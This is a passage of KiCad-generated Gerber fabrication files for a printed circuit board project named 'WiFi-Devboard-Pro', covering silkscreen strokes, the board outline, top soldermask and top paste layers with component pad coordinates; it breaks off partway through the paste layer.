X172323095Y-92173904D02*
X172323095Y-91373904D01*
X172132619Y-91373904D01*
X172018333Y-91412000D01*
X171942142Y-91488190D01*
X171904047Y-91564380D01*
X171865952Y-91716761D01*
X171865952Y-91831047D01*
X171904047Y-91983428D01*
X171942142Y-92059619D01*
X172018333Y-92135809D01*
X172132619Y-92173904D01*
X172323095Y-92173904D01*
X171218333Y-92135809D02*
X171294523Y-92173904D01*
X171446904Y-92173904D01*
X171523095Y-92135809D01*
X171561190Y-92059619D01*
X171561190Y-91754857D01*
X171523095Y-91678666D01*
X171446904Y-91640571D01*
X171294523Y-91640571D01*
X171218333Y-91678666D01*
X171180238Y-91754857D01*
X171180238Y-91831047D01*
X171561190Y-91907238D01*
X170913571Y-91640571D02*
X170723095Y-92173904D01*
X170532619Y-91640571D01*
X170227857Y-92173904D02*
X170227857Y-91373904D01*
X170227857Y-91678666D02*
X170151666Y-91640571D01*
X169999285Y-91640571D01*
X169923095Y-91678666D01*
X169885000Y-91716761D01*
X169846904Y-91792952D01*
X169846904Y-92021523D01*
X169885000Y-92097714D01*
X169923095Y-92135809D01*
X169999285Y-92173904D01*
X170151666Y-92173904D01*
X170227857Y-92135809D01*
X169389761Y-92173904D02*
X169465952Y-92135809D01*
X169504047Y-92097714D01*
X169542142Y-92021523D01*
X169542142Y-91792952D01*
X169504047Y-91716761D01*
X169465952Y-91678666D01*
X169389761Y-91640571D01*
X169275476Y-91640571D01*
X169199285Y-91678666D01*
X169161190Y-91716761D01*
X169123095Y-91792952D01*
X169123095Y-92021523D01*
X169161190Y-92097714D01*
X169199285Y-92135809D01*
X169275476Y-92173904D01*
X169389761Y-92173904D01*
X168437380Y-92173904D02*
X168437380Y-91754857D01*
X168475476Y-91678666D01*
X168551666Y-91640571D01*
X168704047Y-91640571D01*
X168780238Y-91678666D01*
X168437380Y-92135809D02*
X168513571Y-92173904D01*
X168704047Y-92173904D01*
X168780238Y-92135809D01*
X168818333Y-92059619D01*
X168818333Y-91983428D01*
X168780238Y-91907238D01*
X168704047Y-91869142D01*
X168513571Y-91869142D01*
X168437380Y-91831047D01*
X168056428Y-92173904D02*
X168056428Y-91640571D01*
X168056428Y-91792952D02*
X168018333Y-91716761D01*
X167980238Y-91678666D01*
X167904047Y-91640571D01*
X167827857Y-91640571D01*
X167218333Y-92173904D02*
X167218333Y-91373904D01*
X167218333Y-92135809D02*
X167294523Y-92173904D01*
X167446904Y-92173904D01*
X167523095Y-92135809D01*
X167561190Y-92097714D01*
X167599285Y-92021523D01*
X167599285Y-91792952D01*
X167561190Y-91716761D01*
X167523095Y-91678666D01*
X167446904Y-91640571D01*
X167294523Y-91640571D01*
X167218333Y-91678666D01*
X166227857Y-92173904D02*
X166227857Y-91373904D01*
X165923095Y-91373904D01*
X165846904Y-91412000D01*
X165808809Y-91450095D01*
X165770714Y-91526285D01*
X165770714Y-91640571D01*
X165808809Y-91716761D01*
X165846904Y-91754857D01*
X165923095Y-91792952D01*
X166227857Y-91792952D01*
X165427857Y-92173904D02*
X165427857Y-91640571D01*
X165427857Y-91792952D02*
X165389761Y-91716761D01*
X165351666Y-91678666D01*
X165275476Y-91640571D01*
X165199285Y-91640571D01*
X164818333Y-92173904D02*
X164894523Y-92135809D01*
X164932619Y-92097714D01*
X164970714Y-92021523D01*
X164970714Y-91792952D01*
X164932619Y-91716761D01*
X164894523Y-91678666D01*
X164818333Y-91640571D01*
X164704047Y-91640571D01*
X164627857Y-91678666D01*
X164589761Y-91716761D01*
X164551666Y-91792952D01*
X164551666Y-92021523D01*
X164589761Y-92097714D01*
X164627857Y-92135809D01*
X164704047Y-92173904D01*
X164818333Y-92173904D01*
X182837380Y-93461904D02*
X183104047Y-93080952D01*
X183294523Y-93461904D02*
X183294523Y-92661904D01*
X182989761Y-92661904D01*
X182913571Y-92700000D01*
X182875476Y-92738095D01*
X182837380Y-92814285D01*
X182837380Y-92928571D01*
X182875476Y-93004761D01*
X182913571Y-93042857D01*
X182989761Y-93080952D01*
X183294523Y-93080952D01*
X182189761Y-93423809D02*
X182265952Y-93461904D01*
X182418333Y-93461904D01*
X182494523Y-93423809D01*
X182532619Y-93347619D01*
X182532619Y-93042857D01*
X182494523Y-92966666D01*
X182418333Y-92928571D01*
X182265952Y-92928571D01*
X182189761Y-92966666D01*
X182151666Y-93042857D01*
X182151666Y-93119047D01*
X182532619Y-93195238D01*
X181885000Y-92928571D02*
X181694523Y-93461904D01*
X181504047Y-92928571D01*
X180704047Y-92661904D02*
X180437380Y-93461904D01*
X180170714Y-92661904D01*
X179751666Y-92661904D02*
X179675476Y-92661904D01*
X179599285Y-92700000D01*
X179561190Y-92738095D01*
X179523095Y-92814285D01*
X179485000Y-92966666D01*
X179485000Y-93157142D01*
X179523095Y-93309523D01*
X179561190Y-93385714D01*
X179599285Y-93423809D01*
X179675476Y-93461904D01*
X179751666Y-93461904D01*
X179827857Y-93423809D01*
X179865952Y-93385714D01*
X179904047Y-93309523D01*
X179942142Y-93157142D01*
X179942142Y-92966666D01*
X179904047Y-92814285D01*
X179865952Y-92738095D01*
X179827857Y-92700000D01*
X179751666Y-92661904D01*
X179142142Y-93385714D02*
X179104047Y-93423809D01*
X179142142Y-93461904D01*
X179180238Y-93423809D01*
X179142142Y-93385714D01*
X179142142Y-93461904D01*
X178342142Y-93461904D02*
X178799285Y-93461904D01*
X178570714Y-93461904D02*
X178570714Y-92661904D01*
X178646904Y-92776190D01*
X178723095Y-92852380D01*
X178799285Y-92890476D01*
X177999285Y-93385714D02*
X177961190Y-93423809D01*
X177999285Y-93461904D01*
X178037380Y-93423809D01*
X177999285Y-93385714D01*
X177999285Y-93461904D01*
X177465952Y-92661904D02*
X177389761Y-92661904D01*
X177313571Y-92700000D01*
X177275476Y-92738095D01*
X177237380Y-92814285D01*
X177199285Y-92966666D01*
X177199285Y-93157142D01*
X177237380Y-93309523D01*
X177275476Y-93385714D01*
X177313571Y-93423809D01*
X177389761Y-93461904D01*
X177465952Y-93461904D01*
X177542142Y-93423809D01*
X177580238Y-93385714D01*
X177618333Y-93309523D01*
X177656428Y-93157142D01*
X177656428Y-92966666D01*
X177618333Y-92814285D01*
X177580238Y-92738095D01*
X177542142Y-92700000D01*
X177465952Y-92661904D01*
X183065952Y-93949904D02*
X183065952Y-94521333D01*
X183104047Y-94635619D01*
X183180238Y-94711809D01*
X183294523Y-94749904D01*
X183370714Y-94749904D01*
X182342142Y-94216571D02*
X182342142Y-94749904D01*
X182685000Y-94216571D02*
X182685000Y-94635619D01*
X182646904Y-94711809D01*
X182570714Y-94749904D01*
X182456428Y-94749904D01*
X182380238Y-94711809D01*
X182342142Y-94673714D01*
X181999285Y-94711809D02*
X181923095Y-94749904D01*
X181770714Y-94749904D01*
X181694523Y-94711809D01*
X181656428Y-94635619D01*
X181656428Y-94597523D01*
X181694523Y-94521333D01*
X181770714Y-94483238D01*
X181885000Y-94483238D01*
X181961190Y-94445142D01*
X181999285Y-94368952D01*
X181999285Y-94330857D01*
X181961190Y-94254666D01*
X181885000Y-94216571D01*
X181770714Y-94216571D01*
X181694523Y-94254666D01*
X181427857Y-94216571D02*
X181123095Y-94216571D01*
X181313571Y-93949904D02*
X181313571Y-94635619D01*
X181275476Y-94711809D01*
X181199285Y-94749904D01*
X181123095Y-94749904D01*
X180399285Y-94673714D02*
X180437380Y-94711809D01*
X180551666Y-94749904D01*
X180627857Y-94749904D01*
X180742142Y-94711809D01*
X180818333Y-94635619D01*
X180856428Y-94559428D01*
X180894523Y-94407047D01*
X180894523Y-94292761D01*
X180856428Y-94140380D01*
X180818333Y-94064190D01*
X180742142Y-93988000D01*
X180627857Y-93949904D01*
X180551666Y-93949904D01*
X180437380Y-93988000D01*
X180399285Y-94026095D01*
X179713571Y-94749904D02*
X179713571Y-94330857D01*
X179751666Y-94254666D01*
X179827857Y-94216571D01*
X179980238Y-94216571D01*
X180056428Y-94254666D01*
X179713571Y-94711809D02*
X179789761Y-94749904D01*
X179980238Y-94749904D01*
X180056428Y-94711809D01*
X180094523Y-94635619D01*
X180094523Y-94559428D01*
X180056428Y-94483238D01*
X179980238Y-94445142D01*
X179789761Y-94445142D01*
X179713571Y-94407047D01*
X179218333Y-94749904D02*
X179294523Y-94711809D01*
X179332619Y-94635619D01*
X179332619Y-93949904D01*
X178799285Y-94749904D02*
X178875476Y-94711809D01*
X178913571Y-94635619D01*
X178913571Y-93949904D01*
X178494523Y-94749904D02*
X178494523Y-93949904D01*
X178227857Y-94521333D01*
X177961190Y-93949904D01*
X177961190Y-94749904D01*
X177275476Y-94711809D02*
X177351666Y-94749904D01*
X177504047Y-94749904D01*
X177580238Y-94711809D01*
X177618333Y-94635619D01*
X177618333Y-94330857D01*
X177580238Y-94254666D01*
X177504047Y-94216571D01*
X177351666Y-94216571D01*
X177275476Y-94254666D01*
X177237380Y-94330857D01*
X177237380Y-94407047D01*
X177618333Y-94483238D01*
X176894523Y-94749904D02*
X176894523Y-93949904D01*
X176437380Y-94749904D02*
X176780238Y-94292761D01*
X176437380Y-93949904D02*
X176894523Y-94407047D01*
X175980238Y-94749904D02*
X176056428Y-94711809D01*
X176094523Y-94673714D01*
X176132619Y-94597523D01*
X176132619Y-94368952D01*
X176094523Y-94292761D01*
X176056428Y-94254666D01*
X175980238Y-94216571D01*
X175865952Y-94216571D01*
X175789761Y-94254666D01*
X175751666Y-94292761D01*
X175713571Y-94368952D01*
X175713571Y-94597523D01*
X175751666Y-94673714D01*
X175789761Y-94711809D01*
X175865952Y-94749904D01*
X175980238Y-94749904D01*
X175370714Y-94749904D02*
X175370714Y-93949904D01*
X175294523Y-94445142D02*
X175065952Y-94749904D01*
X175065952Y-94216571D02*
X175370714Y-94521333D01*
X174608809Y-94749904D02*
X174685000Y-94711809D01*
X174723095Y-94673714D01*
X174761190Y-94597523D01*
X174761190Y-94368952D01*
X174723095Y-94292761D01*
X174685000Y-94254666D01*
X174608809Y-94216571D01*
X174494523Y-94216571D01*
X174418333Y-94254666D01*
X174380238Y-94292761D01*
X174342142Y-94368952D01*
X174342142Y-94597523D01*
X174380238Y-94673714D01*
X174418333Y-94711809D01*
X174494523Y-94749904D01*
X174608809Y-94749904D01*
X172742142Y-94749904D02*
X172780238Y-94749904D01*
X172856428Y-94711809D01*
X172970714Y-94597523D01*
X173161190Y-94368952D01*
X173237380Y-94254666D01*
X173275476Y-94140380D01*
X173275476Y-94064190D01*
X173237380Y-93988000D01*
X173161190Y-93949904D01*
X173123095Y-93949904D01*
X173046904Y-93988000D01*
X173008809Y-94064190D01*
X173008809Y-94102285D01*
X173046904Y-94178476D01*
X173085000Y-94216571D01*
X173313571Y-94368952D01*
X173351666Y-94407047D01*
X173389761Y-94483238D01*
X173389761Y-94597523D01*
X173351666Y-94673714D01*
X173313571Y-94711809D01*
X173237380Y-94749904D01*
X173123095Y-94749904D01*
X173046904Y-94711809D01*
X173008809Y-94673714D01*
X172894523Y-94521333D01*
X172856428Y-94407047D01*
X172856428Y-94330857D01*
X171904047Y-94216571D02*
X171599285Y-94216571D01*
X171789761Y-93949904D02*
X171789761Y-94635619D01*
X171751666Y-94711809D01*
X171675476Y-94749904D01*
X171599285Y-94749904D01*
X171332619Y-94749904D02*
X171332619Y-94216571D01*
X171332619Y-94368952D02*
X171294523Y-94292761D01*
X171256428Y-94254666D01*
X171180238Y-94216571D01*
X171104047Y-94216571D01*
X170837380Y-94749904D02*
X170837380Y-94216571D01*
X170837380Y-93949904D02*
X170875476Y-93988000D01*
X170837380Y-94026095D01*
X170799285Y-93988000D01*
X170837380Y-93949904D01*
X170837380Y-94026095D01*
X170494523Y-94711809D02*
X170418333Y-94749904D01*
X170265952Y-94749904D01*
X170189761Y-94711809D01*
X170151666Y-94635619D01*
X170151666Y-94597523D01*
X170189761Y-94521333D01*
X170265952Y-94483238D01*
X170380238Y-94483238D01*
X170456428Y-94445142D01*
X170494523Y-94368952D01*
X170494523Y-94330857D01*
X170456428Y-94254666D01*
X170380238Y-94216571D01*
X170265952Y-94216571D01*
X170189761Y-94254666D01*
X169808809Y-94216571D02*
X169808809Y-95016571D01*
X169808809Y-94254666D02*
X169732619Y-94216571D01*
X169580238Y-94216571D01*
X169504047Y-94254666D01*
X169465952Y-94292761D01*
X169427857Y-94368952D01*
X169427857Y-94597523D01*
X169465952Y-94673714D01*
X169504047Y-94711809D01*
X169580238Y-94749904D01*
X169732619Y-94749904D01*
X169808809Y-94711809D01*
X169161190Y-93949904D02*
X168665952Y-93949904D01*
X168932619Y-94254666D01*
X168818333Y-94254666D01*
X168742142Y-94292761D01*
X168704047Y-94330857D01*
X168665952Y-94407047D01*
X168665952Y-94597523D01*
X168704047Y-94673714D01*
X168742142Y-94711809D01*
X168818333Y-94749904D01*
X169046904Y-94749904D01*
X169123095Y-94711809D01*
X169161190Y-94673714D01*
X167980238Y-94749904D02*
X167980238Y-94330857D01*
X168018333Y-94254666D01*
X168094523Y-94216571D01*
X168246904Y-94216571D01*
X168323095Y-94254666D01*
X167980238Y-94711809D02*
X168056428Y-94749904D01*
X168246904Y-94749904D01*
X168323095Y-94711809D01*
X168361190Y-94635619D01*
X168361190Y-94559428D01*
X168323095Y-94483238D01*
X168246904Y-94445142D01*
X168056428Y-94445142D01*
X167980238Y-94407047D01*
X167599285Y-94749904D02*
X167599285Y-94216571D01*
X167599285Y-94368952D02*
X167561190Y-94292761D01*
X167523095Y-94254666D01*
X167446904Y-94216571D01*
X167370714Y-94216571D01*
D11*
%TO.C,J3*%
X177900000Y-100850000D02*
X177900000Y-103350000D01*
X152900000Y-100850000D02*
X152900000Y-105860000D01*
%TO.C,J2*%
X137300000Y-100850000D02*
X137300000Y-103350000D01*
X117300000Y-100850000D02*
X117300000Y-105860000D01*
%TD*%
M02*

View File

@@ -0,0 +1,65 @@
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Profile,NP*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
%MOMM*%
%LPD*%
G01*
G04 APERTURE LIST*
%TA.AperFunction,Profile*%
%ADD10C,0.100000*%
%TD*%
G04 APERTURE END LIST*
D10*
X111130000Y-108940000D02*
G75*
G03*
X112130000Y-109940000I1000000J0D01*
G01*
X184090000Y-108940000D02*
X184090000Y-102390000D01*
X184090000Y-97390000D02*
X184090000Y-90840000D01*
X128365000Y-89840000D02*
X112130000Y-89840000D01*
X183090000Y-109940000D02*
G75*
G03*
X184090000Y-108940000I0J1000000D01*
G01*
X183090000Y-89840000D02*
X155765000Y-89840000D01*
X128365000Y-109940000D02*
X155765000Y-109940000D01*
X112130000Y-89840000D02*
G75*
G03*
X111130000Y-90840000I0J-1000000D01*
G01*
X111130000Y-90840000D02*
X111130000Y-108940000D01*
X187090000Y-102390000D02*
G75*
G03*
X187090000Y-97390000I0J2500000D01*
G01*
X184090000Y-90840000D02*
G75*
G03*
X183090000Y-89840000I-1000000J0D01*
G01*
X184090000Y-102390000D02*
X187090000Y-102390000D01*
X128385000Y-89840000D02*
X155765000Y-89840000D01*
X155765000Y-109940000D02*
X183090000Y-109940000D01*
X187090000Y-97390000D02*
X184090000Y-97390000D01*
X112130000Y-109940000D02*
X128365000Y-109940000D01*
M02*

View File

@@ -0,0 +1,381 @@
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Soldermask,Top*%
%TF.FilePolarity,Negative*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
%MOMM*%
%LPD*%
G01*
G04 APERTURE LIST*
%ADD10R,0.600000X0.750000*%
%ADD11R,0.750000X0.600000*%
%ADD12R,0.600000X0.620000*%
%ADD13R,0.650000X1.200000*%
%ADD14C,1.700000*%
%ADD15O,1.700000X1.700000*%
%ADD16R,0.620000X0.600000*%
%ADD17R,0.690000X0.720000*%
%ADD18R,1.100000X0.700000*%
%ADD19R,0.930000X0.900000*%
%ADD20R,0.780000X1.050000*%
%ADD21R,3.330000X0.700000*%
%ADD22R,2.800000X0.860000*%
%ADD23R,1.830000X1.140000*%
%ADD24R,0.700000X0.700000*%
%ADD25R,0.720000X0.690000*%
%ADD26R,0.900000X1.500000*%
%ADD27R,1.500000X0.900000*%
%ADD28R,0.900000X0.900000*%
%ADD29R,0.500000X0.900000*%
%ADD30R,0.650000X2.770000*%
%ADD31R,0.950000X0.800000*%
%ADD32R,1.050000X0.650000*%
%ADD33R,1.850000X0.900000*%
%ADD34R,1.850000X3.200000*%
%ADD35C,2.200000*%
%ADD36R,0.400000X1.000000*%
%ADD37R,0.620000X0.640000*%
G04 APERTURE END LIST*
D10*
%TO.C,R10*%
X134960000Y-97140000D03*
X134960000Y-96040000D03*
%TD*%
D11*
%TO.C,R15*%
X126500000Y-96950000D03*
X127600000Y-96950000D03*
%TD*%
%TO.C,R6*%
X150660000Y-104890000D03*
X149560000Y-104890000D03*
%TD*%
D12*
%TO.C,C7*%
X117000000Y-92270000D03*
X116080000Y-92270000D03*
%TD*%
D10*
%TO.C,R5*%
X115300000Y-91350000D03*
X115300000Y-92450000D03*
%TD*%
D13*
%TO.C,IC2*%
X128460000Y-92600000D03*
X126540000Y-92600000D03*
X127500000Y-94700000D03*
%TD*%
%TO.C,IC4*%
X138210000Y-102375000D03*
X136290000Y-102375000D03*
X137250000Y-104475000D03*
%TD*%
D14*
%TO.C,J4*%
X129370000Y-109940000D03*
D15*
X131910000Y-109940000D03*
X134450000Y-109940000D03*
X136990000Y-109940000D03*
X139530000Y-109940000D03*
X142070000Y-109940000D03*
X144610000Y-109940000D03*
X147150000Y-109940000D03*
X149690000Y-109940000D03*
X152230000Y-109940000D03*
X154770000Y-109940000D03*
%TD*%
D16*
%TO.C,C11*%
X136225000Y-97060000D03*
X136225000Y-96140000D03*
%TD*%
D17*
%TO.C,C2*%
X181985000Y-90350000D03*
X181065000Y-90350000D03*
%TD*%
D18*
%TO.C,J6*%
X112460000Y-102230000D03*
X112460000Y-101130000D03*
X112460000Y-100030000D03*
X112460000Y-98930000D03*
X112460000Y-97830000D03*
X112460000Y-96730000D03*
X112460000Y-95630000D03*
X112460000Y-94530000D03*
D19*
X124925000Y-104020000D03*
D20*
X125000000Y-99755000D03*
D21*
X123725000Y-93370000D03*
D22*
X112960000Y-93450000D03*
D23*
X112475000Y-106110000D03*
D21*
X123725000Y-106330000D03*
%TD*%
D24*
%TO.C,LED1*%
X155950000Y-98885000D03*
X154850000Y-98885000D03*
X154850000Y-100715000D03*
X155950000Y-100715000D03*
%TD*%
D10*
%TO.C,R4*%
X117820000Y-91350000D03*
X117820000Y-92450000D03*
%TD*%
D25*
%TO.C,C6*%
X133100000Y-99040000D03*
X133100000Y-99960000D03*
%TD*%
D26*
%TO.C,IC1*%
X176560000Y-91100000D03*
X175290000Y-91100000D03*
X174020000Y-91100000D03*
X172750000Y-91100000D03*
X171480000Y-91100000D03*
X170210000Y-91100000D03*
X168940000Y-91100000D03*
X167670000Y-91100000D03*
X166400000Y-91100000D03*
X165130000Y-91100000D03*
X163860000Y-91100000D03*
X162590000Y-91100000D03*
X161320000Y-91100000D03*
X160050000Y-91100000D03*
D27*
X158800000Y-94135000D03*
X158800000Y-95405000D03*
X158800000Y-96675000D03*
X158800000Y-97945000D03*
X158800000Y-99215000D03*
X158800000Y-100485000D03*
X158800000Y-101755000D03*
X158800000Y-103025000D03*
X158800000Y-104295000D03*
X158800000Y-105565000D03*
D26*
X160050000Y-108600000D03*
X161320000Y-108600000D03*
X162590000Y-108600000D03*
X163860000Y-108600000D03*
X165130000Y-108600000D03*
X166400000Y-108600000D03*
X167670000Y-108600000D03*
X168940000Y-108600000D03*
X170210000Y-108600000D03*
X171480000Y-108600000D03*
X172750000Y-108600000D03*
X174020000Y-108600000D03*
X175290000Y-108600000D03*
X176560000Y-108600000D03*
D28*
X170240000Y-96950000D03*
X168840000Y-96950000D03*
X167440000Y-96950000D03*
X167440000Y-98350000D03*
X167440000Y-99750000D03*
X168840000Y-99750000D03*
X170240000Y-99750000D03*
X170240000Y-98350000D03*
X168840000Y-98350000D03*
%TD*%
D29*
%TO.C,LED4*%
X127200000Y-99100000D03*
X128500000Y-99100000D03*
%TD*%
D11*
%TO.C,R2*%
X155950000Y-97430000D03*
X154850000Y-97430000D03*
%TD*%
D30*
%TO.C,J1*%
X143860000Y-101665000D03*
X143860000Y-98135000D03*
X145130000Y-101665000D03*
X145130000Y-98135000D03*
X146400000Y-101665000D03*
X146400000Y-98135000D03*
X147670000Y-101665000D03*
X147670000Y-98135000D03*
X148940000Y-101665000D03*
X148940000Y-98135000D03*
%TD*%
D25*
%TO.C,C5*%
X126100000Y-101790000D03*
X126100000Y-102710000D03*
%TD*%
D13*
%TO.C,IC5*%
X141060000Y-105000000D03*
X139140000Y-105000000D03*
X140100000Y-107100000D03*
%TD*%
D31*
%TO.C,LED2*%
X142800000Y-93050000D03*
X142800000Y-94650000D03*
%TD*%
D32*
%TO.C,S2*%
X152075000Y-104875000D03*
X156225000Y-104875000D03*
X152075000Y-107025000D03*
X156225000Y-107025000D03*
%TD*%
D12*
%TO.C,C4*%
X154930000Y-102150000D03*
X155850000Y-102150000D03*
%TD*%
D33*
%TO.C,IC3*%
X134200000Y-106700000D03*
X134200000Y-104400000D03*
X134200000Y-102100000D03*
D34*
X128000000Y-104400000D03*
%TD*%
D12*
%TO.C,C3*%
X179065000Y-90300000D03*
X179985000Y-90300000D03*
%TD*%
D35*
%TO.C,*%
X187100000Y-99900000D03*
%TD*%
D16*
%TO.C,C8*%
X129290000Y-97080000D03*
X129290000Y-96160000D03*
%TD*%
D36*
%TO.C,U3*%
X138250000Y-92600000D03*
X137600000Y-92600000D03*
X136950000Y-92600000D03*
X136950000Y-94600000D03*
X137600000Y-94600000D03*
X138250000Y-94600000D03*
%TD*%
D32*
%TO.C,S1*%
X152075000Y-92725000D03*
X156225000Y-92725000D03*
X152075000Y-94875000D03*
X156225000Y-94875000D03*
%TD*%
D11*
%TO.C,R1*%
X149700000Y-93800000D03*
X150800000Y-93800000D03*
%TD*%
D16*
%TO.C,C9*%
X134420000Y-99050000D03*
X134420000Y-99970000D03*
%TD*%
D10*
%TO.C,R8*%
X131610000Y-97150000D03*
X131610000Y-96050000D03*
%TD*%
D14*
%TO.C,J5*%
X129370000Y-89840000D03*
D15*
X131910000Y-89840000D03*
X134450000Y-89840000D03*
X136990000Y-89840000D03*
X139530000Y-89840000D03*
X142070000Y-89840000D03*
X144610000Y-89840000D03*
X147150000Y-89840000D03*
X149690000Y-89840000D03*
X152230000Y-89840000D03*
X154770000Y-89840000D03*
%TD*%
D10*
%TO.C,R12*%
X138400000Y-97150000D03*
X138400000Y-96050000D03*
%TD*%
D37*
%TO.C,C1*%
X150690000Y-94690000D03*
X149770000Y-94690000D03*
%TD*%
D10*
%TO.C,R11*%
X137200000Y-97150000D03*
X137200000Y-96050000D03*
%TD*%
D16*
%TO.C,C10*%
X133000000Y-97085000D03*
X133000000Y-96165000D03*
%TD*%
D10*
%TO.C,R13*%
X144350000Y-93300000D03*
X144350000Y-94400000D03*
%TD*%
%TO.C,R14*%
X147400000Y-93250000D03*
X147400000Y-94350000D03*
%TD*%
D36*
%TO.C,U2*%
X134800000Y-92600000D03*
X134150000Y-92600000D03*
X133500000Y-92600000D03*
X133500000Y-94600000D03*
X134150000Y-94600000D03*
X134800000Y-94600000D03*
%TD*%
D10*
%TO.C,R9*%
X133790000Y-97140000D03*
X133790000Y-96040000D03*
%TD*%
D36*
%TO.C,U1*%
X131450000Y-92610000D03*
X130800000Y-92610000D03*
X130150000Y-92610000D03*
X130150000Y-94610000D03*
X130800000Y-94610000D03*
X131450000Y-94610000D03*
%TD*%
D10*
%TO.C,R3*%
X119900000Y-91360000D03*
X119900000Y-92460000D03*
%TD*%
%TO.C,R7*%
X130410000Y-97160000D03*
X130410000Y-96060000D03*
%TD*%
D31*
%TO.C,LED3*%
X145900000Y-93050000D03*
X145900000Y-94650000D03*
%TD*%
M02*

View File

@@ -0,0 +1,343 @@
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Paste,Top*%
%TF.FilePolarity,Positive*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
%MOMM*%
%LPD*%
G01*
G04 APERTURE LIST*
%ADD10R,0.600000X0.750000*%
%ADD11R,0.750000X0.600000*%
%ADD12R,0.600000X0.620000*%
%ADD13R,0.650000X1.200000*%
%ADD14R,0.620000X0.600000*%
%ADD15R,0.690000X0.720000*%
%ADD16R,1.100000X0.700000*%
%ADD17R,0.930000X0.900000*%
%ADD18R,0.780000X1.050000*%
%ADD19R,3.330000X0.700000*%
%ADD20R,2.800000X0.860000*%
%ADD21R,1.830000X1.140000*%
%ADD22R,0.700000X0.700000*%
%ADD23R,0.720000X0.690000*%
%ADD24R,0.900000X1.500000*%
%ADD25R,1.500000X0.900000*%
%ADD26R,0.900000X0.900000*%
%ADD27R,0.500000X0.900000*%
%ADD28R,0.650000X2.770000*%
%ADD29R,0.950000X0.800000*%
%ADD30R,1.050000X0.650000*%
%ADD31R,1.850000X0.900000*%
%ADD32R,1.850000X3.200000*%
%ADD33R,0.400000X1.000000*%
%ADD34R,0.620000X0.640000*%
G04 APERTURE END LIST*
D10*
%TO.C,R10*%
X134960000Y-97140000D03*
X134960000Y-96040000D03*
%TD*%
D11*
%TO.C,R15*%
X126500000Y-96950000D03*
X127600000Y-96950000D03*
%TD*%
%TO.C,R6*%
X150660000Y-104890000D03*
X149560000Y-104890000D03*
%TD*%
D12*
%TO.C,C7*%
X117000000Y-92270000D03*
X116080000Y-92270000D03*
%TD*%
D10*
%TO.C,R5*%
X115300000Y-91350000D03*
X115300000Y-92450000D03*
%TD*%
D13*
%TO.C,IC2*%
X128460000Y-92600000D03*
X126540000Y-92600000D03*
X127500000Y-94700000D03*
%TD*%
%TO.C,IC4*%
X138210000Y-102375000D03*
X136290000Y-102375000D03*
X137250000Y-104475000D03*
%TD*%
D14*
%TO.C,C11*%
X136225000Y-97060000D03*
X136225000Y-96140000D03*
%TD*%
D15*
%TO.C,C2*%
X181985000Y-90350000D03*
X181065000Y-90350000D03*
%TD*%
D16*
%TO.C,J6*%
X112460000Y-102230000D03*
X112460000Y-101130000D03*
X112460000Y-100030000D03*
X112460000Y-98930000D03*
X112460000Y-97830000D03*
X112460000Y-96730000D03*
X112460000Y-95630000D03*
X112460000Y-94530000D03*
D17*
X124925000Y-104020000D03*
D18*
X125000000Y-99755000D03*
D19*
X123725000Y-93370000D03*
D20*
X112960000Y-93450000D03*
D21*
X112475000Y-106110000D03*
D19*
X123725000Y-106330000D03*
%TD*%
D22*
%TO.C,LED1*%
X155950000Y-98885000D03*
X154850000Y-98885000D03*
X154850000Y-100715000D03*
X155950000Y-100715000D03*
%TD*%
D10*
%TO.C,R4*%
X117820000Y-91350000D03*
X117820000Y-92450000D03*
%TD*%
D23*
%TO.C,C6*%
X133100000Y-99040000D03*
X133100000Y-99960000D03*
%TD*%
D24*
%TO.C,IC1*%
X176560000Y-91100000D03*
X175290000Y-91100000D03*
X174020000Y-91100000D03*
X172750000Y-91100000D03*
X171480000Y-91100000D03*
X170210000Y-91100000D03*
X168940000Y-91100000D03*
X167670000Y-91100000D03*
X166400000Y-91100000D03*
X165130000Y-91100000D03*
X163860000Y-91100000D03*
X162590000Y-91100000D03*
X161320000Y-91100000D03*
X160050000Y-91100000D03*
D25*
X158800000Y-94135000D03*
X158800000Y-95405000D03*
X158800000Y-96675000D03*
X158800000Y-97945000D03*
X158800000Y-99215000D03*
X158800000Y-100485000D03*
X158800000Y-101755000D03*
X158800000Y-103025000D03*
X158800000Y-104295000D03*
X158800000Y-105565000D03*
D24*
X160050000Y-108600000D03*
X161320000Y-108600000D03*
X162590000Y-108600000D03*
X163860000Y-108600000D03*
X165130000Y-108600000D03*
X166400000Y-108600000D03*
X167670000Y-108600000D03*
X168940000Y-108600000D03*
X170210000Y-108600000D03*
X171480000Y-108600000D03*
X172750000Y-108600000D03*
X174020000Y-108600000D03*
X175290000Y-108600000D03*
X176560000Y-108600000D03*
D26*
X170240000Y-96950000D03*
X168840000Y-96950000D03*
X167440000Y-96950000D03*
X167440000Y-98350000D03*
X167440000Y-99750000D03*
X168840000Y-99750000D03*
X170240000Y-99750000D03*
X170240000Y-98350000D03*
X168840000Y-98350000D03*
%TD*%
D27*
%TO.C,LED4*%
X127200000Y-99100000D03*
X128500000Y-99100000D03*
%TD*%
D11*
%TO.C,R2*%
X155950000Y-97430000D03*
X154850000Y-97430000D03*
%TD*%
D28*
%TO.C,J1*%
X143860000Y-101665000D03*
X143860000Y-98135000D03*
X145130000Y-101665000D03*
X145130000Y-98135000D03*
X146400000Y-101665000D03*
X146400000Y-98135000D03*
X147670000Y-101665000D03*
X147670000Y-98135000D03*
